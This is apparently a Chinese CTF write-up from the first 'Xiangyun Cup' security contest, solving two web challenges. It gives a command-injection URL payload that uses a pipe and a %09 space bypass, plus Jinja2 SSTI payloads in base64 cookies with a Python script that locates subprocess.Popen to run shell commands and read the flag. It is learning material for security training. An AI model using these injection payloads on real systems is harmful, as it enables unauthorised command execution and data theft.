首届“祥云杯”网络安全大赛做题记录

内容隐藏

记录比赛做上了、以及比完赛复现的题。感谢队友们，学到东西就是好的。

0x00 WEB

Command

网页可以对输入的ip进行ping命令处理，使用管道符“|”可以达到执行两条命令的效果。

又经过fuzz发现过滤了空格，使用%09进行绕过。可以执行命令后，利用grep命令在各个大文件夹内寻找含有“lag”的内容（因为“flag”被过滤）。最终在/etc搜索到了flag。

Payload：index.php?url=127.0.0.1|grep%09-rn%09"lag"%09%09/etc/

flaskbot

本意考的是flask框架下的ssti+pin码执行命令。?一下学习参考：戳我

这题后来看别人的wp是读取log拿到PIN码的。

不懂我这个是不是非预期解啊，同[CSCCTF 2019 Qual]FlaskLight

只要数字不让机器猜到（nan），且Cookies中的user输入加密后的ssti注入语句即可执行。首先爆出所有的类：

e3snJy5fX2NsYXNzX18uX19tcm9fX1syXS5fX3N1YmNsYXNzZXNfXygpfX0=
//{{''.__class__.__mro__[2].__subclasses__()}}

然后查看subprocess.Popen在哪：

import requests
import re
import html

url = "http://eci-2ze9cofh8j38jbh62g4g.cloudeci1.ichunqiu.com:8888/guess"
s = requests.session()
data = {'num':"nan"}
payloadHeader = {'Content-Type': 'application/x-www-form-urlencoded'}
cookies = {"__jsluid_h": "0bb797ec443079ac125ff7ae2067031f", "user":"e3snJy5fX2NsYXNzX18uX19tcm9fX1syXS5fX3N1YmNsYXNzZXNfXygpfX0="}
rr = s.post(url,data=data,cookies=cookies,headers=payloadHeader)
result = rr.text
result = re.findall(".*?<br/>Wow! (.*?) win",result,re.S)
result = "".join(result)
result = result.split(', ')
for i in result:
    if "subprocess.Popen" in i:
        print(result.index(i))

得到结果是258。

输入：

e3snJy5fX2NsYXNzX18uX19tcm9fX1syXS5fX3N1YmNsYXNzZXNfXygpWzI1OF0oJ2xzIC8nLHNoZWxsPVRydWUsc3Rkb3V0PS0xKS5jb21tdW5pY2F0ZSgpWzBdLnN0cmlwKCl9fQ==
//{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

可以看到根目录下的flag文件名是super_secret_flag.txt。

接下来怎么都查看不了，试着找了很多命令，也尝试反弹shell都不行，后来想到[...] 模式：

[...]匹配方括号之中的任意一个字符，比如[aeiou]可以匹配五个元音字母。

已经知道了flag的位置和其文件名的具体格式，最后我将其构造成了：

cat /[a-z][a-z][a-z][a-z][a-z][_][a-z][a-z][a-z][a-z][a-z][a-z][_][a-z][a-z][a-z][a-z].txt

成功拿到flag。

e3snJy5fX2NsYXNzX18uX19tcm9fX1syXS5fX3N1YmNsYXNzZXNfXygpWzI1OF0oJ2NhdCAvW2Etel1bYS16XVthLXpdW2Etel1bYS16XVtfXVthLXpdW2Etel1bYS16XVthLXpdW2Etel1bYS16XVtfXVthLXpdW2Etel1bYS16XVthLXpdLnR4dCcsc2hlbGw9VHJ1ZSxzdGRvdXQ9LTEpLmNvbW11bmljYXRlKClbMF0uc3RyaXAoKX19
//{{''.__class__.__mro__[2].__subclasses__()[258]('cat /[a-z][a-z][a-z][a-z][a-z][_][a-z][a-z][a-z][a-z][a-z][a-z][_][a-z][a-z][a-z][a-z].txt',shell=True,stdout=-1).communicate()[0].strip()}}